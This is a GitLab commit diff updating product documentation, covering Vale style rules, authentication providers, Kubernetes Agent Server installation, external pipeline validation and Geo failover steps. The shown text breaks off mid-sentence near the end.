diff options
| author | GitLab Bot <gitlab-bot@gitlab.com> | 2021-04-21 02:50:22 +0300 |
|---|---|---|
| committer | GitLab Bot <gitlab-bot@gitlab.com> | 2021-04-21 02:50:22 +0300 |
| commit | 9dc93a4519d9d5d7be48ff274127136236a3adb3 (patch) | |
| tree | 70467ae3692a0e35e5ea56bcb803eb512a10bedb /doc | |
| parent | 4b0f34b6d759d6299322b3a54453e930c6121ff0 (diff) | |
Add latest changes from gitlab-org/gitlab@13-11-stable-eev13.11.0-rc43
Diffstat (limited to 'doc')
743 files changed, 18573 insertions, 11698 deletions
diff --git a/doc/.vale/gitlab/NonStandardQuotes.yml b/doc/.vale/gitlab/NonStandardQuotes.yml new file mode 100644 index 00000000000..f31d615eb19 --- /dev/null +++ b/doc/.vale/gitlab/NonStandardQuotes.yml @@ -0,0 +1,14 @@ +--- +# Warning: gitlab.NonStandardQuotes +# +# Use only standard single and double quotes, not left or right quotes. +# +# For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles +extends: existence +message: 'Use standard single quotes or double quotes only. Do not use left or right quotes.' +level: warning +ignorecase: true +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html +scope: raw +raw: + - '[‘’“”]' diff --git a/doc/.vale/gitlab/Possessive.yml b/doc/.vale/gitlab/Possessive.yml index eadf7359698..158c689cac1 100644 --- a/doc/.vale/gitlab/Possessive.yml +++ b/doc/.vale/gitlab/Possessive.yml @@ -5,11 +5,9 @@ # # For a list of all options, see https://errata-ai.gitbook.io/vale/getting-started/styles extends: existence -message: 'Rewrite "%s" to not use "’s".' +message: "Rewrite '%s' to not use 's." level: error ignorecase: true link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#trademark tokens: - - GitLab's # Straight apostrophe. - - GitLab’s # Curly closing apostrophe. - - GitLab‘s # Curly opening apostrophe. + - GitLab's diff --git a/doc/.vale/gitlab/ReferenceLinks.yml b/doc/.vale/gitlab/ReferenceLinks.yml index 160ed2e8e14..ca9948844f8 100644 --- a/doc/.vale/gitlab/ReferenceLinks.yml +++ b/doc/.vale/gitlab/ReferenceLinks.yml @@ -10,4 +10,4 @@ link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html level: error scope: raw raw: - - '\n\[.*\]: .*' + - '\n\[[^\]]*\]: .*' diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index 88d1d2555f1..4c4bbe96a96 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -245,7 +245,6 @@ Helm Heroku Herokuish Hexo -HipChat hostname hostnames hotfix @@ -257,6 +256,7 @@ https idempotence idmapper Iglu +Immer inclusivity Ingress initializer diff --git a/doc/administration/auth/README.md b/doc/administration/auth/README.md index 69220113940..ef82c556468 100644 --- a/doc/administration/auth/README.md +++ b/doc/administration/auth/README.md @@ -23,13 +23,11 @@ providers: - [GitHub](../../integration/github.md) - [GitLab.com](../../integration/gitlab.md) - [Google OAuth](../../integration/google.md) -- [Google Workspace SSO](../../integration/google_workspace_saml.md) - [JWT](jwt.md) - [Kerberos](../../integration/kerberos.md) - [LDAP](ldap/index.md): Includes Active Directory, Apple Open Directory, Open LDAP, and 389 Server. - [Google Secure LDAP](ldap/google_secure_ldap.md) -- [Okta](okta.md) - [Salesforce](../../integration/salesforce.md) - [SAML](../../integration/saml.md) - [SAML for GitLab.com groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)** @@ -39,3 +37,16 @@ providers: NOTE: UltraAuth has removed their software which supports OmniAuth integration. We have therefore removed all references to UltraAuth integration. + +## SaaS vs Self-Managed Comparison + +The external authentication and authorization providers may support the following capabilities. +For more information, see the links shown on this page for each external provider. + +| Capability | SaaS | Self-Managed | +|-------------------------------------------------|-----------------------------------------|------------------------------------| +| **User Provisioning** | SCIM<br>JIT Provisioning | LDAP Sync | +| **User Detail Updating** (not group management) | Not Available | LDAP Sync | +| **Authentication** | SAML at top-level group (1 provider) | LDAP (multiple providers)<br>Generic OAuth2<br>SAML (only 1 permitted per unique provider)<br>Kerberos<br>JWT<br>Smartcard<br>OmniAuth Providers (only 1 permitted per unique provider) | +| **Provider-to-GitLab Role Sync** | SAML Group Sync | LDAP Group Sync | +| **User Removal** | SCIM (remove user from top-level group) | LDAP (Blocking User from Instance) | diff --git a/doc/administration/auth/ldap/ldap-troubleshooting.md b/doc/administration/auth/ldap/ldap-troubleshooting.md index f8360e331b6..9d9c01b870f 100644 --- a/doc/administration/auth/ldap/ldap-troubleshooting.md +++ b/doc/administration/auth/ldap/ldap-troubleshooting.md @@ -668,7 +668,7 @@ adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -u You can also retrieve a single object by **specifying** the object name or full **DN**. In this example we specify the object name only `CN=Leroy Fox`. ```shell -adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -up Password1 -b "OU=GitLab INT,DC=GitLab,DC=org" -f (&(objectcategory=person)(CN=Leroy Fox))” +adfind -h ad.example.org:636 -ssl -u "CN=GitLabSRV,CN=Users,DC=GitLab,DC=org" -up Password1 -b "OU=GitLab INT,DC=GitLab,DC=org" -f "(&(objectcategory=person)(CN=Leroy Fox))" ``` ### Rails console diff --git a/doc/administration/auth/okta.md b/doc/administration/auth/okta.md index 0f2851890e2..88e9180b103 100644 --- a/doc/administration/auth/okta.md +++ b/doc/administration/auth/okta.md @@ -1,176 +1,8 @@ --- -type: reference -stage: Manage -group: Access -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../../integration/saml.md' --- -# Okta SSO provider +This document was moved to [another location](../../integration/saml.md). -Okta is a [Single Sign-on provider](https://www.okta.com/products/single-sign-on/) that can be used to authenticate -with GitLab. - -The following documentation enables Okta as a SAML provider. - -## Configure the Okta application - -The following guidance is based on this Okta article, on adding a [SAML Application with an Okta Developer account](https://support.okta.com/help/s/article/Why-can-t-I-add-a-SAML-Application-with-an-Okta-Developer-account?language=en_US): - -1. In the Okta admin section, make sure to select Classic UI view in the top left corner. From there, choose to **Add an App**. -1. When the app screen comes up you see another button to **Create an App** and - choose SAML 2.0 on the next screen. -1. Optionally you can add a logo - (you can choose it from <https://about.gitlab.com/press/>). You'll have to - crop and resize it. -1. Next, you'll need the to fill in the SAML general configuration. Here's an example (showing the required URLs and attribute mapping): - image. - -  - -1. The last part of the configuration is the feedback section where you can - just say you're a customer and creating an app for internal use. -1. When you have your app you'll have a few tabs on the top of the app's - profile. Click on the SAML 2.0 configuration instructions button which should - look like the following: - -  - -1. On the screen that comes up take note of the - **Identity Provider Single Sign-On URL** which you'll use for the - `idp_sso_target_url` on your GitLab configuration file. - -1. **Before you leave Okta make sure you add your user and groups if any.** - ---- - -Now that the Okta app is configured, it's time to enable it in GitLab. - -## Configure GitLab - -1. See [Initial OmniAuth Configuration](../../integration/omniauth.md#initial-omniauth-configuration) - for initial settings. - -1. To allow your users to use Okta to sign up without having to manually create - an account first, don't forget to add the following values to your - configuration: - - **For Omnibus GitLab installations** - - Edit `/etc/gitlab/gitlab.rb`: - - ```ruby - gitlab_rails['omniauth_allow_single_sign_on'] = ['saml'] - gitlab_rails['omniauth_block_auto_created_users'] = false - ``` - - --- - - **For installations from source** - - Edit `config/gitlab.yml`: - - ```yaml - allow_single_sign_on: ["saml"] - block_auto_created_users: false - ``` - -1. You can also automatically link Okta users with existing GitLab users if - their email addresses match by adding the following setting: - - **For Omnibus GitLab installations** - - Edit `/etc/gitlab/gitlab.rb`: - - ```ruby - gitlab_rails['omniauth_auto_link_saml_user'] = true - ``` - - --- - - **For installations from source** - - Edit `config/gitlab.yml`: - - ```yaml - auto_link_saml_user: true - ``` - -1. Add the provider configuration. - - >**Notes:** - > - >- Change the value for `assertion_consumer_service_url` to match the HTTPS endpoint - > of GitLab (append `users/auth/saml/callback` to the HTTPS URL of your GitLab - > installation to generate the correct value). - > - >- To get the `idp_cert_fingerprint` fingerprint, first download the - > certificate from the Okta app you registered and then run: - > `openssl x509 -in okta.cert -noout -fingerprint`. Substitute `okta.cert` - > with the location of your certificate. - > - >- Change the value of `idp_sso_target_url`, with the value of the - > **Identity Provider Single Sign-On URL** from the step when you - > configured the Okta app. - > - >- Change the value of `issuer` to the value of the **Audience Restriction** from your Okta app configuration. This will identify GitLab - > to the IdP. - > - >- Leave `name_identifier_format` as-is. - - **For Omnibus GitLab installations** - - ```ruby - gitlab_rails['omniauth_providers'] = [ - { - name: 'saml', - args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://gitlab.oktapreview.com/app/gitlabdev773716_gitlabsaml_1/exk8odl81tBrjpD4B0h7/sso/saml', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:transient' - }, - label: 'Okta' # optional label for SAML login button, defaults to "Saml" - } - ] - ``` - - **For installations from source** - - ```yaml - - { - name: 'saml', - args: { - assertion_consumer_service_url: 'https://gitlab.example.com/users/auth/saml/callback', - idp_cert_fingerprint: '43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8', - idp_sso_target_url: 'https://gitlab.oktapreview.com/app/gitlabdev773716_gitlabsaml_1/exk8odl81tBrjpD4B0h7/sso/saml', - issuer: 'https://gitlab.example.com', - name_identifier_format: 'urn:oasis:names:tc:SAML:2.0:nameid-format:transient' - }, - label: 'Okta' # optional label for SAML login button, defaults to "Saml" - } - ``` - -1. [Reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart](../restart_gitlab.md#installations-from-source) GitLab for Omnibus and installations - from source respectively for the changes to take effect. - -You might want to try this out on an incognito browser window. - -## Configuring groups - -NOTE: -Make sure the groups exist and are assigned to the Okta app. - -You can take a look of the [SAML documentation](../../integration/saml.md#saml-groups) on configuring groups. - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +<!-- This redirect file can be deleted after 2021-06-15>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/auth/smartcard.md b/doc/administration/auth/smartcard.md index 39c47c6c495..4fe69d0160e 100644 --- a/doc/administration/auth/smartcard.md +++ b/doc/administration/auth/smartcard.md @@ -123,8 +123,8 @@ attribute. As a prerequisite, you must use an LDAP server that: NOTE: **Note** Assign a value to at least one of the following variables: - gitlab_rails['smartcard_client_certificate_required_host'] or - gitlab_rails['smartcard_client_certificate_required_port']. + `gitlab_rails['smartcard_client_certificate_required_host']` or + `gitlab_rails['smartcard_client_certificate_required_port']`. 1. Save the file and [reconfigure](../restart_gitlab.md#omnibus-gitlab-reconfigure) GitLab for the changes to take effect. diff --git a/doc/administration/clusters/kas.md b/doc/administration/clusters/kas.md new file mode 100644 index 00000000000..1b9638411de --- /dev/null +++ b/doc/administration/clusters/kas.md @@ -0,0 +1,131 @@ +--- +stage: Configure +group: Configure +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +--- + +# Install the Kubernetes Agent Server (KAS) **(PREMIUM SELF)** + +The Kubernetes Agent Server (KAS) is a GitLab backend service dedicated to +managing [Kubernetes Agents](../../user/clusters/agent/index.md). + +The KAS is already installed and available in GitLab.com under `wss://kas.gitlab.com`. +See [how to use GitLab.com's KAS](../../user/clusters/agent/index.md#set-up-the-kubernetes-agent-server). +This document describes how to install a KAS for GitLab self-managed instances. + +## Installation options + +As a GitLab administrator of self-managed instances, you can install KAS according to your GitLab +installation method: + +- For [Omnibus installations](#install-kas-with-omnibus). +- For [GitLab Helm Chart installations](#install-kas-with-the-gitlab-helm-chart). + +You can also opt to use an [external KAS](#use-an-external-kas-installation). + +### Install KAS with Omnibus + +For [Omnibus](https://docs.gitlab.com/omnibus/) package installations: + +1. Edit `/etc/gitlab/gitlab.rb` to enable the Kubernetes Agent Server: + + ```ruby + gitlab_kas['enable'] = true + ``` + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + +To configure any additional options related to your KAS, +refer to the **Enable GitLab KAS** section of the +[`gitlab.rb.template`](https://gitlab.com/gitlab-org/omnibus-gitlab/-/blob/master/files/gitlab-config-template/gitlab.rb.template). + +### Install KAS with the GitLab Helm Chart + +For GitLab [Helm Chart](https://docs.gitlab.com/charts/) +installations, you must set `global.kas.enabled` to `true`. +For example, in a shell with `helm` and `kubectl` +installed, run: + +```shell +helm repo add gitlab https://charts.gitlab.io/ +helm repo update +helm upgrade --install gitlab gitlab/gitlab \ + --timeout 600s \ + --set global.hosts.domain=<YOUR_DOMAIN> \ + --set global.hosts.externalIP=<YOUR_IP> \ + --set certmanager-issuer.email=<YOUR_EMAIL> \ + --set global.kas.enabled=true # <-- without this, KAS will not be installed +``` + +To configure KAS, use a `gitlab.kas` sub-section in your `values.yaml` file: + +```yaml +gitlab: + kas: + # put your KAS custom options here +``` + +For details, see [how to use the GitLab-KAS chart](https://docs.gitlab.com/charts/charts/gitlab/kas/). + +### Use an external KAS installation + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/299850) in GitLab 13.10. + +Besides installing KAS with GitLab, you can opt to configure GitLab to use an external KAS. + +For GitLab instances installed through the GitLab Helm Chart, see [how to configure your external KAS](https://docs.gitlab.com/charts/charts/globals.html#external-kas). + +For GitLab instances installed through Omnibus packages: + +1. Edit `/etc/gitlab/gitlab.rb` adding the paths to your external KAS: + + ```ruby + gitlab_kas['enable'] = false + gitlab_kas['api_secret_key'] = 'Your shared secret between GitLab and KAS' + + gitlab_rails['gitlab_kas_enabled'] = true + gitlab_rails['gitlab_kas_external_url'] = 'wss://kas.gitlab.example.com' # User-facing URL for the in-cluster agentk + gitlab_rails['gitlab_kas_internal_url'] = 'grpc://kas.internal.gitlab.example.com' # Internal URL for the GitLab backend + ``` + +1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). + +## Troubleshooting + +If you face any issues with KAS, you can read the service logs +with the following command: + +```shell +kubectl logs -f -l=app=kas -n <YOUR-GITLAB-NAMESPACE> +``` + +In Omnibus GitLab, find the logs in `/var/log/gitlab/gitlab-kas/`. + +See also the [user documentation](../../user/clusters/agent/index.md#troubleshooting) +for troubleshooting problems with individual agents. + +### KAS logs - GitOps: failed to get project info + +If you get the following error message: + +```json +{"level":"warn","time":"2020-10-30T08:37:26.123Z","msg":"GitOps: failed to get project info","agent_id":4,"project_id":"root/kas-manifest001","error":"error kind: 0; status: 404"} +``` + +It means that the specified manifest project `root/kas-manifest001` +doesn't exist or the manifest project is private. To fix it, make sure the project path is correct +and its visibility is [set to public](../../public_access/public_access.md). + +### KAS logs - Configuration file not found + +If you get the following error message: + +```plaintext +time="2020-10-29T04:44:14Z" level=warning msg="Config: failed to fetch" agent_id=2 error="configuration file not found: \".gitlab/agents/test-agent/config.yaml\ +``` + +It means that the path to the configuration project is incorrect, +or the path to `config.yaml` inside the project is not valid. + +To fix this, ensure that the paths to the configuration repo and to the `config.yaml` file +are correct. diff --git a/doc/administration/environment_variables.md b/doc/administration/environment_variables.md index f886e19b13d..a168584e754 100644 --- a/doc/administration/environment_variables.md +++ b/doc/administration/environment_variables.md @@ -21,6 +21,9 @@ You can use the following environment variables to override certain values: |--------------------------------------------|---------|---------------------------------------------------------------------------------------------------------| | `DATABASE_URL` | string | The database URL; is of the form: `postgresql://localhost/blog_development`. | | `ENABLE_BOOTSNAP` | string | Enables Bootsnap for speeding up initial Rails boot (`1` to enable). | +| `EXTERNAL_VALIDATION_SERVICE_TIMEOUT` | integer | Timeout, in seconds, for an [external CI/CD pipeline validation service](external_pipeline_validation.md). Default is `5`. | +| `EXTERNAL_VALIDATION_SERVICE_URL` | string | URL to an [external CI/CD pipeline validation service](external_pipeline_validation.md). | +| `EXTERNAL_VALIDATION_SERVICE_TOKEN` | string | The `X-Gitlab-Token` for authentication with an [external CI/CD pipeline validation service](external_pipeline_validation.md). | | `GITLAB_CDN_HOST` | string | Sets the base URL for a CDN to serve static assets (for example, `//mycdnsubdomain.fictional-cdn.com`). | | `GITLAB_EMAIL_DISPLAY_NAME` | string | The name used in the **From** field in emails sent by GitLab. | | `GITLAB_EMAIL_FROM` | string | The email address used in the **From** field in emails sent by GitLab. | @@ -29,8 +32,8 @@ You can use the following environment variables to override certain values: | `GITLAB_HOST` | string | The full URL of the GitLab server (including `http://` or `https://`). | | `GITLAB_ROOT_PASSWORD` | string | Sets the password for the `root` user on installation. | | `GITLAB_SHARED_RUNNERS_REGISTRATION_TOKEN` | string | Sets the initial registration token used for runners. | -| `GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). | -| `GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). | +| `GITLAB_UNICORN_MEMORY_MAX` | integer | The maximum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). | +| `GITLAB_UNICORN_MEMORY_MIN` | integer | The minimum memory threshold (in bytes) for the [unicorn-worker-killer](operations/unicorn.md#unicorn-worker-killer). | | `RAILS_ENV` | string | The Rails environment; can be one of `production`, `development`, `staging`, or `test`. | | `UNSTRUCTURED_RAILS_LOG` | string | Enables the unstructured log in addition to JSON logs (defaults to `true`). | diff --git a/doc/administration/external_pipeline_validation.md b/doc/administration/external_pipeline_validation.md index 64426a60ab0..f8329b24d6c 100644 --- a/doc/administration/external_pipeline_validation.md +++ b/doc/administration/external_pipeline_validation.md @@ -7,7 +7,7 @@ type: reference, howto # External Pipeline Validation -You can use an external service for validating a pipeline before it's created. +You can use an external service to validate a pipeline before it's created. WARNING: This is an experimental feature and subject to change without notice. @@ -19,15 +19,21 @@ data as payload. GitLab then invalidates the pipeline based on the response code. If there's an error or the request times out, the pipeline is not invalidated. -Response Code Legend: +Response codes: -- `200` - Accepted -- `4xx` - Not Accepted -- Other Codes - Accepted and Logged +- `200`: Accepted +- `4XX`: Not accepted +- All other codes: accepted and logged ## Configuration -Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL. +To configure external pipeline validation, add the +[`EXTERNAL_VALIDATION_SERVICE_URL` environment variable](environment_variables.md) +and set it to the external service URL. + +By default, requests to the external service time out after five seconds. To override +the default, set the `EXTERNAL_VALIDATION_SERVICE_TIMEOUT` environment variable to the +required number of seconds. ## Payload Schema @@ -38,18 +44,21 @@ Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL. "project", "user", "pipeline", - "builds" + "builds", + "namespace" ], "properties" : { "project": { "type": "object", "required": [ "id", - "path" + "path", + "created_at" ], "properties": { "id": { "type": "integer" }, - "path": { "type": "string" } + "path": { "type": "string" }, + "created_at": { "type": ["string", "null"], "format": "date-time" } } }, "user": { @@ -57,12 +66,14 @@ Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL. "required": [ "id", "username", - "email" + "email", + "created_at" ], "properties": { "id": { "type": "integer" }, "username": { "type": "string" }, - "email": { "type": "string" } + "email": { "type": "string" }, + "created_at": { "type": ["string", "null"], "format": "date-time" } } }, "pipeline": { @@ -103,8 +114,21 @@ Set the `EXTERNAL_VALIDATION_SERVICE_URL` to the external service URL. } } } + }, + "namespace": { + "type": "object", + "required": [ + "plan", + "trial" + ], + "properties": { + "plan": { "type": "string" }, + "trial": { "type": "boolean" } + } } - }, - "additionalProperties": false + } } ``` + +The `namespace` field is only available in [GitLab Premium](https://about.gitlab.com/pricing/) +and higher. diff --git a/doc/administration/feature_flags.md b/doc/administration/feature_flags.md index 6882797064b..9ba50cfbf2e 100644 --- a/doc/administration/feature_flags.md +++ b/doc/administration/feature_flags.md @@ -13,7 +13,7 @@ to deploy features in an early stage of development so that they can be incrementally rolled out. Before making them permanently available, features can be deployed behind -flags for a [number of reasons](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle#when-to-use-feature-flags), such as: +flags for a [number of reasons](https://about.gitlab.com/handbook/product-development-flow/feature-flag-lifecycle/#when-to-use-feature-flags), such as: - To test the feature. - To get feedback from users and customers while in an early stage of the development of the feature. diff --git a/doc/administration/geo/disaster_recovery/index.md b/doc/administration/geo/disaster_recovery/index.md index 43e5dc1d224..d1ea2978202 100644 --- a/doc/administration/geo/disaster_recovery/index.md +++ b/doc/administration/geo/disaster_recovery/index.md @@ -38,7 +38,7 @@ order to avoid unnecessary data loss. WARNING: If the **primary** node goes offline, there may be data saved on the **primary** node -that has not been replicated to the **secondary** node. This data should be treated +that have not been replicated to the **secondary** node. This data should be treated as lost if you proceed. If an outage on the **primary** node happens, you should do everything possible to @@ -46,62 +46,53 @@ avoid a split-brain situation where writes can occur in two different GitLab instances, complicating recovery efforts. So to prepare for the failover, we must disable the **primary** node. -1. SSH into the **primary** node to stop and disable GitLab, if possible: +- If you have SSH access: - ```shell - sudo gitlab-ctl stop - ``` - - Prevent GitLab from starting up again if the server unexpectedly reboots: + 1. SSH into the **primary** node to stop and disable GitLab: - ```shell - sudo systemctl disable gitlab-runsvdir - ``` - - NOTE: - (**CentOS only**) In CentOS 6 or older, there is no easy way to prevent GitLab from being - started if the machine reboots isn't available (see [Omnibus GitLab issue #3058](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3058)). - It may be safest to uninstall the GitLab package completely: - - ```shell - yum remove gitlab-ee - ``` + ```shell + sudo gitlab-ctl stop + ``` - NOTE: - (**Ubuntu 14.04 LTS**) If you are using an older version of Ubuntu - or any other distribution based on the Upstart init system, you can prevent GitLab - from starting if the machine reboots by doing the following: + 1. Prevent GitLab from starting up again if the server unexpectedly reboots: - ```shell - initctl stop gitlab-runsvvdir - echo 'manual' > /etc/init/gitlab-runsvdir.override - initctl reload-configuration - ``` + ```shell + sudo systemctl disable gitlab-runsvdir + ``` -1. If you do not have SSH access to the **primary** node, take the machine offline and - prevent it from rebooting by any means at your disposal. - Since there are many ways you may prefer to accomplish this, we will avoid a - single recommendation. You may need to: +- If you do not have SSH access to the **primary** node, take the machine offline and + prevent it from rebooting by any means at your disposal. + Since there are many ways you may prefer to accomplish this, we will avoid a + single recommendation. You may need to: - - Reconfigure the load balancers. - - Change DNS records (for example, point the primary DNS record to the - **secondary** node to stop usage of the **primary** node). - - Stop the virtual servers. - - Block traffic through a firewall. - - Revoke object storage permissions from the **primary** node. - - Physically disconnect a machine. + - Reconfigure the load balancers. + - Change DNS records (for example, point the primary DNS record to the + **secondary** node to stop usage of the **primary** node). + - Stop the virtual servers. + - Block traffic through a firewall. + - Revoke object storage permissions from the **primary** node. + - Physically disconnect a machine. -1. If you plan to [update the primary domain DNS record](#step-4-optional-updating-the-primary-domain-dns-record), - you may wish to lower the TTL now to speed up propagation. + If you plan to [update the primary domain DNS record](#step-4-optional-updating-the-primary-domain-dns-record), + you may wish to lower the TTL now to speed up propagation. ### Step 3. Promoting a **secondary** node +WARNING: +In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the +secondary is paused fails. Do not pause replication before promoting a +secondary. If the node is paused, be sure to resume before promoting. +This issue has been fixed in GitLab 13.4 and later. + Note the following when promoting a secondary: - If replication was paused on the secondary node (for example as a part of upgrading, while you were running a version of GitLab earlier than 13.4), you _must_ [enable the node by using the database](../replication/troubleshooting.md#message-activerecordrecordinvalid-validation-failed-enabled-geo-primary-node-cannot-be-disabled) - before proceeding. + before proceeding. If the secondary node + [has been paused](../../geo/index.md#pausing-and-resuming-replication), the promotion + performs a point-in-time recovery to the last known state. + Data that was created on the primary while the secondary was paused will be lost. - A new **secondary** should not be added at this time. If you want to add a new **secondary**, do this after you have completed the entire process of promoting the **secondary** to the **primary**. @@ -117,62 +108,48 @@ Note the following when promoting a secondary: sudo -i ``` -1. Edit `/etc/gitlab/gitlab.rb` to reflect its new status as **primary** by - removing any lines that enabled the `geo_secondary_role`: - - Users of GitLab 13.5 or later can skip this step, due to the appropriate - roles being enabled or disabled during the promotion in the following - step. +1. If you're using GitLab 13.5 and later, skip this step. If not, edit + `/etc/gitlab/gitlab.rb` and remove any of the following lines that + might be present: ```ruby - ## In pre-11.5 documentation, the role was enabled as follows. Remove this line. geo_secondary_role['enable'] = true - - ## In 11.5+ documentation, the role was enabled as follows. Remove this line. roles ['geo_secondary_role'] ``` -1. Promote the **secondary** node to the **primary** node. - - WARNING: - In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the - secondary is paused fails. Do not pause replication before promoting a - secondary. If the node is paused, be sure to resume before promoting. This - issue has been fixed in GitLab 13.4 and later. - - WARNING: - If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs - a point-in-time recovery to the last known state. - Data that was created on the primary while the secondary was paused will be lost. +1. Promote the **secondary** node to the **primary** node: - NOTE: - In GitLab 13.7 and earlier, if you have a data type with zero items to sync, - this command reports `ERROR - Replication is not up-to-date` even if - replication is actually up-to-date. If replication and verification output - shows that it is complete, you can add `--skip-preflight-checks` to make the - command complete promotion. This bug was fixed in GitLab 13.8 and later. + - To promote the secondary node to primary along with [preflight checks](planned_failover.md#preflight-checks): - To promote the secondary node to primary along with preflight checks: + ```shell + gitlab-ctl promote-to-primary-node + ``` - ```shell - gitlab-ctl promote-to-primary-node - ``` + - If you have already run the preflight checks separately or don't want to run them, + you can skip them with: - If you have already run the [preflight checks](planned_failover.md#preflight-checks) separately or don't want to run them, you can skip preflight checks with: + ```shell + gitlab-ctl promote-to-primary-node --skip-preflight-checks + ``` - ```shell - gitlab-ctl promote-to-primary-node --skip-preflight-checks - ``` + NOTE: + In GitLab 13.7 and earlier, if you have a data type with zero items to sync + and don't skip the preflight checks, promoting the secondary reports + `ERROR - Replication is not up-to-date` even if replication is actually + up-to-date. If replication and verification output + shows that it is complete, you can skip the preflight checks to make the + command complete promotion. This bug was fixed in GitLab 13.8 and later. - You can also promote the secondary node to primary **without any further confirmation**, even when preflight checks fail: + - To promote the secondary node to primary **without any further confirmation**, + even when preflight checks fail: - ```shell - gitlab-ctl promote-to-primary-node --force - ``` + ```shell + gitlab-ctl promote-to-primary-node --force + ``` -1. Verify you can connect to the newly promoted **primary** node using the URL used +1. Verify you can connect to the newly-promoted **primary** node using the URL used previously for the **secondary** node. -1. If successful, the **secondary** node has now been promoted to the **primary** node. +1. If successful, the **secondary** node is now promoted to the **primary** node. #### Promoting a **secondary** node with multiple servers @@ -181,17 +158,6 @@ conjunction with multiple servers, as it can only perform changes on a **secondary** with only a single machine. Instead, you must do this manually. -WARNING: -In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the -secondary is paused fails. Do not pause replication before promoting a -secondary. If the node is paused, be sure to resume before promoting. This -issue has been fixed in GitLab 13.4 and later. - -WARNING: -If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs -a point-in-time recovery to the last known state. -Data that was created on the primary while the secondary was paused will be lost. - 1. SSH in to the database node in the **secondary** and trigger PostgreSQL to promote to read-write: @@ -201,20 +167,17 @@ Data that was created on the primary while the secondary was paused will be lost In GitLab 12.8 and earlier, see [Message: `sudo: gitlab-pg-ctl: command not found`](../replication/troubleshooting.md#message-sudo-gitlab-pg-ctl-command-not-found). -1. Edit `/etc/gitlab/gitlab.rb` on every machine in the **secondary** to - reflect its new status as **primary** by removing any lines that enabled the - `geo_secondary_role`: +1. Edit `/etc/gitlab/gitlab.rb` on every node in the **secondary** site to + reflect its new status as **primary** by removing any of the following + lines that might be present: ```ruby - ## In pre-11.5 documentation, the role was enabled as follows. Remove this line. geo_secondary_role['enable'] = true - - ## In 11.5+ documentation, the role was enabled as follows. Remove this line. roles ['geo_secondary_role'] ``` - After making these changes [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) each - machine so the changes take effect. + After making these changes, [reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) + on each machine so the changes take effect. 1. Promote the **secondary** to **primary**. SSH into a single application server and execute: @@ -223,9 +186,9 @@ Data that was created on the primary while the secondary was paused will be lost sudo gitlab-rake geo:set_secondary_as_primary ``` -1. Verify you can connect to the newly promoted **primary** using the URL used +1. Verify you can connect to the newly-promoted **primary** using the URL used previously for the **secondary**. -1. Success! The **secondary** has now been promoted to **primary**. +1. If successful, the **secondary** node is now promoted to the **primary** node. #### Promoting a **secondary** node with a Patroni standby cluster @@ -234,17 +197,6 @@ conjunction with a Patroni standby cluster, as it can only perform changes on a **secondary** with only a single machine. Instead, you must do this manually. -WARNING: -In GitLab 13.2 and 13.3, promoting a secondary node to a primary while the -secondary is paused fails. Do not pause replication before promoting a -secondary. If the node is paused, be sure to resume before promoting. This -issue has been fixed in GitLab 13.4 and later. - -WARNING: -If the secondary node [has been paused](../../geo/index.md#pausing-and-resuming-replication), this performs -a point-in-time recovery to the last known state. -Data that was created on the primary while the secondary was paused will be lost. - 1. SSH in to the Standby Leader database node in the **secondary** and trigger PostgreSQL to promote to read-write: @@ -252,13 +204,10 @@ Data that was created on the primary while the secondary was paused will be lost sudo gitlab-ctl promote-db ``` -1. Edit `/etc/gitlab/gitlab.rb` on every application and Sidekiq nodes in 